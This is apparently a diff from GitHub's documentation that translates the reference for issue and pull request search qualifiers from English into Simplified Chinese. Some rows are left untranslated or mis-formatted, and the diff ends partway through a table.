-| <code>author:<em>USERNAME</em></code> | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) matches issues and pull requests with the word "cool" that were created by @gjtorikian.
-| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) matches issues written by @mdo that contain the word "bootstrap" in the body.
-| <code>author:app/<em>USERNAME</em></code> | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) matches issues created by the integration account named "robot."
+| 限定符                       | 示例                                                                                                                                                |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author:<em>USERNAME</em></code> | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) 匹配含有 "cool" 字样、由 @gjtorikian 创建的议题和拉取请求。           |
+|                           | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) 匹配由 @mdo 撰写、正文中含有 "bootstrap" 字样的议题。 |
+| <code>author:app/<em>USERNAME</em></code> | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) 匹配由名为 "robot" 的集成帐户创建的议题。                                    |
 
-## Search by assignee
+## 按受理人搜索
 
-The `assignee` qualifier finds issues and pull requests that are assigned to a certain user. You cannot search for issues and pull requests that have _any_ assignee, however, you can search for [issues and pull requests that have no assignee](#search-by-missing-metadata).
+`assignee` 限定符查找分配给特定用户的议题和拉取请求。 您无法搜索具有 _any_ 受理人的议题和拉取请求，但可以搜索[没有受理人的议题和拉取请求](#search-by-missing-metadata)。
 
-| Qualifier     | Example
-| ------------- | -------------
-| <code>assignee:<em>USERNAME</em></code> | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) matches issues and pull requests in libgit2's project libgit2 that are assigned to @vmg.
+| 限定符                       | 示例                                                                                                                                                                                 |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>assignee:<em>USERNAME</em></code> | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) 匹配分配给 @vmg 的 libgit2 项目 libgit2 中的议题和拉取请求。 |
 
-## Search by mention
+## 按提及搜索
 
-The `mentions` qualifier finds issues that mention a certain user. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)."
+`mentions` 限定符查找提及特定用户的议题。 更多信息请参阅“[提及人员和团队](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)”。
 
-| Qualifier     | Example
-| ------------- | -------------
-| <code>mentions:<em>USERNAME</em></code> | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) matches issues with the word "resque" that mention @defunkt.
+| 限定符                       | 示例                                                                                                                                 |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
+| <code>mentions:<em>USERNAME</em></code> | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) 匹配含有 "resque" 字样、提及 @defunkt 的议题。 |
 
-## Search by team mention
+## 按团队提及搜索
 
-For organizations and teams you belong to, you can use the `team` qualifier to find issues or pull requests that @mention a certain team within that organization. Replace these sample names with your organization and team name to perform a search.
+对于您所属的组织和团队，您可以使用 `team` 限定符查找提及该组织内特定团队的议题或拉取请求。 将这些示例名称替换为您的组织和团队的名称以执行搜索。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>team:<em>ORGNAME/TEAMNAME</em></code> | **team:jekyll/owners** matches issues where the `@jekyll/owners` team is mentioned.
-| | **team:myorg/ops is:open is:pr** matches open pull requests where the `@myorg/ops` team is mentioned.
+| 限定符                       | 示例                                                            |
+| ------------------------- | ------------------------------------------------------------- |
+| <code>team:<em>ORGNAME/TEAMNAME</em></code> | **team:jekyll/owners** 匹配提及 `@jekyll/owners` 团队的议题。           |
+|                           | **team:myorg/ops is:open is:pr** 匹配提及 `@myorg/ops` 团队的打开拉取请求。 |
 
-## Search by commenter
+## 按评论者搜索
 
-The `commenter` qualifier finds issues that contain a comment from a certain user.
+`commenter` 限定符查找含有来自特定用户评论的议题。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>commenter:<em>USERNAME</em></code> | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) matches issues in repositories owned by GitHub, that contain the word "github," and have a comment by @defunkt.
+| 限定符                       | 示例                                                                                                                                                                                            |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) 匹配位于 GitHub 拥有的仓库中、含有 "github" 字样且由 @defunkt 评论的议题。 |
 
-## Search by a user that's involved in an issue or pull request
+## 按议题或拉取请求中涉及的用户搜索
 
-You can use the `involves` qualifier to find issues that in some way involve a certain user. The `involves` qualifier is a logical OR between the `author`, `assignee`, `mentions`, and `commenter` qualifiers for a single user. In other words, this qualifier finds issues and pull requests that were either created by a certain user, assigned to that user, mention that user, or were commented on by that user.
+您可以使用 `involves` 限定符查找以某种方式涉及特定用户的议题。 `involves` 限定符是单一用户 `author`、`assignee`、`mentions` 和 `commenter` 限定符之间的逻辑 OR（或）。 换句话说，此限定符查找由特定用户创建、分配给该用户、提及该用户或由该用户评论的议题和拉取请求。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>involves:<em>USERNAME</em></code> | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** matches issues either @defunkt or @jlord are involved in.
-| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) matches issues @mdo is involved in that do not contain the word "bootstrap" in the body.
+| 限定符                       | 示例                                                                                                                                                            |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>involves:<em>USERNAME</em></code> | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** 匹配涉及 @defunkt 或 @jlord 的议题。                |
+|                           | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) 匹配涉及 @mdo 且正文中未包含 "bootstrap" 字样的议题。 |
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Search for linked issues and pull requests
-You can narrow your results to only include issues that are linked to a pull request by a closing reference, or pull requests that are linked to an issue that the pull request may close.
+## 搜索链接的议题和拉取请求
+您可以将结果缩小到仅包括通过关闭引用链接到拉取请求的议题，或者链接到拉取请求可能关闭的议题的拉取请求。
 
-| Qualifier | Example |
-| ------------- | ------------- |
-| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) matches open issues in the `desktop/desktop` repository that are linked to a pull request by a closing reference. |
-| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) matches closed pull requests in the `desktop/desktop` repository that were linked to an issue that the pull request may have closed. |
-| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) matches open issues in the `desktop/desktop` repository that are not linked to a pull request by a closing reference. |
-| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) matches open pull requests in the `desktop/desktop` repository that are not linked to an issue that the pull request may close. |{% endif %}
+| 限定符             | 示例                                                                                                                                                                                            |
+| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `linked:pr`     | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) 匹配 `desktop/desktop` 仓库中通过关闭引用链接到拉取请求的开放议题。                          |
+| `linked:issue`  | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) 匹配 `desktop/desktop` 仓库中链接到拉取请求可能已关闭的议题的已关闭拉取请求。           |
+| `-linked:pr`    | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) 匹配 `desktop/desktop` 仓库中未通过关闭引用链接到拉取请求的开放议题。                       |
+| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) 匹配 `desktop/desktop` 仓库中未链接至拉取请求可能关闭的议题的开放拉取请求。 
+{% endif %}
 
-## Search by label
+## 按标签搜索
 
-You can narrow your results by labels, using the `label` qualifier. Since issues can have multiple labels, you can list a separate qualifier for each issue.
+您可以使用 `label` 限定符按标签缩小结果范围。 由于议题可有多个标签，因此您可为每个议题列出单独的限定符。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>label:<em>LABEL</em></code> | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories.
-|  | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but *do* have the label "priority."
-| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae or ghec %}
-| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %}
+| 限定符                        | 示例                                                                                                                                                                                                            |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>label:<em>LABEL</em></code> | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) 匹配标签为 "help wanted"、位于 Ruby 仓库中的议题。                                 |
+|                            | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) 匹配正文中含有 "broken" 字样、没有 "bug" 标签但*有* "priority" 标签的议题。                  |
+|                            | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae or ghec %}
+|                            | [**label:bug label:resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) 匹配含有 "bug" 或 "resolved" 标签的议题。{% endif %}
 
-## Search by milestone
+## 按里程碑搜索
 
-The `milestone` qualifier finds issues or pull requests that are a part of a [milestone](/articles/about-milestones) within a repository.
+`milestone` 限定符查找作为仓库内[里程碑](/articles/about-milestones)组成部分的议题或拉取请求。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>milestone:<em>MILESTONE</em></code> | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) matches issues that are in a milestone named "overhaul."
-| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) matches issues that are in a milestone named "bug fix."
+| 限定符                        | 示例                                                                                                                                        |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>milestone:<em>MILESTONE</em></code> | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) 匹配位于名为 "overhaul" 的里程碑中的议题。 |
+|                            | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) 匹配位于名为 "bug fix" 的里程碑中的议题。    |
 
-## Search by project board
+## 按项目板搜索
 
-You can use the `project` qualifier to find issues that are associated with a specific [project board](/articles/about-project-boards/) in a repository or organization. You must search project boards by the project board number. You can find the project board number at the end of a project board's URL.
+您可以使用 `project` 限定符查找与仓库或组织中特定[项目板](/articles/about-project-boards/)关联的议题。 必须按项目板编号搜索项目板。 您可在项目板 URL 的末尾找到项目板编号。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>project:<em>PROJECT_BOARD</em></code> | **project:github/57** matches issues owned by GitHub that are associated with the organization's project board 57.
-| <code>project:<em>REPOSITORY/PROJECT_BOARD</em></code> | **project:github/linguist/1** matches issues that are associated with project board 1 in @github's linguist repository.
+| 限定符                        | 示例                                                                    |
+| -------------------------- | --------------------------------------------------------------------- |
+| <code>project:<em>PROJECT_BOARD</em></code> | **project:github/57** 匹配 GitHub 拥有的、与组织项目板 57 关联的议题。                  |
+| <code>project:<em>REPOSITORY/PROJECT_BOARD</em></code> | **project:github/linguist/1** 匹配与 @github 的 linguist 仓库中的项目板 1 关联的议题。 |
 
-## Search by commit status
+## 按提交状态搜索
 
-You can filter pull requests based on the status of the commits. This is especially useful if you are using [the Status API](/rest/reference/repos#statuses) or a CI service.
+您可以基于提交的状态过滤拉取请求。 这在使用 [Status API](/rest/reference/repos#statuses) 或 CI 服务时特别有用。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) matches pull requests opened into Go repositories where the status is pending.
-| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) matches open pull requests with the word "finally" in the body with a successful status.
-| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) matches pull requests opened on May 2015 with a failed status.
+| 限定符              | 示例                                                                                                                                                                                          |
+| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) 匹配在状态为待定的 Go 仓库中打开的拉取请求。                                                        |
+| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) 匹配正文中含有 "finally" 字样、具有成功状态的打开拉取请求。       |
+| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) 匹配在 2015 年 5 月打开、具有失败状态的拉取请求。 |
 
-## Search by commit SHA
+## 按提交 SHA 搜索
 
-If you know the specific SHA hash of a commit, you can use it to search for pull requests that contain that SHA. The SHA syntax must be at least seven characters.
+如果您知道提交的特定 SHA 哈希，您可以使用它来搜索包含该 SHA 的拉取请求。 SHA 语法必须至少 7 个字符。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code><em>SHA</em></code> | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) matches pull requests with a commit SHA that starts with `e1109ab`.
-| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) matches merged pull requests with a commit SHA that starts with `0eff326d6213c`.
+| 限定符                        | 示例                                                                                                                                   |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
+| <code><em>SHA</em></code> | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) 匹配具有开头为 `e1109ab` 的提交 SHA 的拉取请求。                                      |
+|                            | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) 匹配具有开头为 `0eff326d6213c` 的提交 SHA 的合并拉取请求。 |
 
-## Search by branch name
+## 按分支名称搜索
 
-You can filter pull requests based on the branch they came from (the "head" branch) or the branch they are merging into (the "base" branch).
+您可以基于拉取请求来自的分支（"head" 分支）或其合并到的分支（"base" 分支）来过滤拉取请求。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>head:<em>HEAD_BRANCH</em></code> | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) matches pull requests opened from branch names beginning with the word "change" that are closed.
-| <code>base:<em>BASE_BRANCH</em></code> | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) matches pull requests that are being merged into the `gh-pages` branch.
+| 限定符                        | 示例                                                                                                                                                             |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>head:<em>HEAD_BRANCH</em></code> | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) 匹配从名称以 "change" 字样开头的已关闭分支打开的拉取请求。 |
+| <code>base:<em>BASE_BRANCH</em></code> | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) 匹配合并到 `gh-pages` 分支中的拉取请求。                                                     |
 
-## Search by language
+## 按语言搜索
 
-With the `language` qualifier you can search for issues and pull requests within repositories that are written in a certain language.
+通过 `language` 限定符，您可以搜索以特定语言编写的仓库内的议题和拉取请求。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>language:<em>LANGUAGE</em></code> | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) matches open issues that are in Ruby repositories.
+| 限定符                        | 示例                                                                                                                     |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
+| <code>language:<em>LANGUAGE</em></code> | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) 匹配 Ruby 仓库中的开放议题。 |
 
-## Search by number of comments
+## 按评论数量搜索
 
-You can use the `comments` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to search by the number of comments.
+您可以使用 `comments` 限定符以及[大于、小于和范围限定符](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)以按评论数量搜索。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>comments:<em>n</em></code> | [**state:closed comments:&gt;100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) matches closed issues with more than 100 comments.
-| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) matches issues with comments ranging from 500 to 1,000.
+| 限定符                        | 示例                                                                                                                                        |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>comments:<em>n</em></code> | [**state:closed comments:&gt;100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) 匹配具有超过 100 条评论的已关闭议题。 |
+|                            | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) 匹配具有 500 到 1,000 条评论的议题。                           |
 
-## Search by number of interactions
+## 按交互数量搜索
 
-You can filter issues and pull requests by the number of interactions with the `interactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). The interactions count is the number of reactions and comments on an issue or pull request.
+您可以使用 `interactions` 限定符以及[大于、小于和范围限定符](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)按交互数量过滤议题和拉取请求。 交互数量是对议题或拉取请求的反应和评论数量。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) matches pull requests or issues with more than 2000 interactions.
-| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches pull requests or issues with interactions ranging from 500 to 1,000.
+| 限定符                        | 示例                                                                                                                |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------- |
+| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) 匹配超过 2000 个交互的拉取请求或议题。 |
+|                            | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) 匹配 500 至 1,000 个交互的拉取请求或议题。    |
 
-## Search by number of reactions
+## 按反应数量搜索
 
-You can filter issues and pull requests by the number of reactions using the `reactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax).
+您可以使用 `reactions` 限定符以及 [大于、小于和范围限定符](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)按反应数量过滤议题和拉取请求。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) matches issues with more than 1000 reactions.
-| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches issues with reactions ranging from 500 to 1,000.
+| 限定符                        | 示例                                                                                                                 |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------ |
+| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) 匹配超过 1000 个反应的议题。 |
+|                            | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) 匹配 500 至 1000 个反应的议题。                 |
 
-## Search for draft pull requests
-You can filter for draft pull requests. For more information, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)."
+## 搜索草稿拉取请求
+您可以过滤草稿拉取请求。 更多信息请参阅“[关于拉取请求](/articles/about-pull-requests#draft-pull-requests)”。
 
-| Qualifier        | Example
-| ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %}
-| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests.
-| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) matches pull requests that are ready for review.{% else %}
-| `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) matches draft pull requests.{% endif %}
+| 限定符        | 示例 | ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} | `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) 匹配拉取请求草稿。 | `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) 匹配可供审查的拉取请求。{% else %} | `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) 匹配拉取请求草稿。{% endif %}
 
-## Search by pull request review status and reviewer
+## 按拉取请求审查状态和审查者搜索
 
-You can filter pull requests based on their [review status](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_, _required_, _approved_, or _changes requested_), by reviewer, and by requested reviewer.
+您可以基于拉取请求的[审查状态](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)（_无_、_必需_、_批准_或_请求更改_）、按审查者和请求的审查者过滤拉取请求。
 
-| Qualifier        | Example
-| ------------- | -------------
-| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) matches pull requests that have not been reviewed.
-| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) matches pull requests that require a review before they can be merged.
-| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) matches pull requests that a reviewer has approved.
-| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) matches pull requests in which a reviewer has asked for changes.
-| <code>reviewed-by:<em>USERNAME</em></code> | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) matches pull requests reviewed by a particular person.
-| <code>review-requested:<em>USERNAME</em></code> | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) matches pull requests where a specific person is requested for review. Requested reviewers are no longer listed in the search results after they review a pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| 限定符                        | 示例                                                                                                                                                                                                                                                                                                                                                                                 |
+| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `review:none`              | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) 匹配尚未审查的拉取请求。                                                                                                                                                                                                                                                             |
+| `review:required`          | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) 匹配需要审查然后才能合并的拉取请求。                                                                                                                                                                                                                                               |
+| `review:approved`          | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) 匹配审查者已批准的拉取请求。                                                                                                                                                                                                                                                   |
+| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) 匹配审查者已请求更改的拉取请求。                                                                                                                                                                                                                               |
+| <code>reviewed-by:<em>USERNAME</em></code> | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) 匹配特定人员审查的拉取请求。                                                                                                                                                                                                                                     |
+| <code>review-requested:<em>USERNAME</em></code> | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) 匹配特定人员申请审查的拉取请求。 申请的审查者在其审查拉取请求后不再在搜索结果中列出。 If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
 | <code>user-review-requested:@me</code> | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) matches pull requests that you have directly been asked to review.{% endif %}
-| <code>team-review-requested:<em>TEAMNAME</em></code> | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) matches pull requests that have review requests from the team `atom/design`. Requested reviewers are no longer listed in the search results after they review a pull request.
+| <code>team-review-requested:<em>TEAMNAME</em></code> | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) 匹配已审查团队 `atom/design` 请求的拉取请求。 申请的审查者在其审查拉取请求后不再在搜索结果中列出。                                                                                                                                                                                 |
 
-## Search by when an issue or pull request was created or last updated
+## 按议题或拉取请求创建或上次更新的时间搜索
 
-You can filter issues based on times of creation, or when they were last updated. For issue creation, you can use the `created` qualifier; to find out when an issue was last updated, you'll want to use the `updated` qualifier.
+您可以基于创建时间或上次更新时间过滤议题。 对于议题创建，您可以使用 `created` 限定符；要了解议题上次更新的时间，您要使用 `updated` 限定符。
 
-Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+两者均采用日期作为参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>created:<em>YYYY-MM-DD</em></code> | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) matches open issues that were created before 2011 in repositories written in C#.
-| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) matches issues with the word "weird" in the body that were updated after February 2013.
+| 限定符                        | 示例                                                                                                                                                                            |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>created:<em>YYYY-MM-DD</em></code> | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) 匹配以 C# 编写的仓库中 2011 年以前创建的开放议题。 |
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) 匹配 2013 年 2 月后更新的、正文中含有 "weird" 字样的议题。           |
 
-## Search by when an issue or pull request was closed
+## 按议题或拉取请求关闭的时间搜索
 
-You can filter issues and pull requests based on when they were closed, using the `closed` qualifier.
+您可以使用 `closed` 限定符基于议题和拉取请求关闭的时间进行过滤。
 
-This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+此限定符采用日期作为其参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>closed:<em>YYYY-MM-DD</em></code> | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) matches issues and pull requests in Swift that were closed after June 11, 2014.
-| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) matches issues and pull requests with the word "data" in the body that were closed before October 2012.
+| 限定符                        | 示例                                                                                                                                                                              |
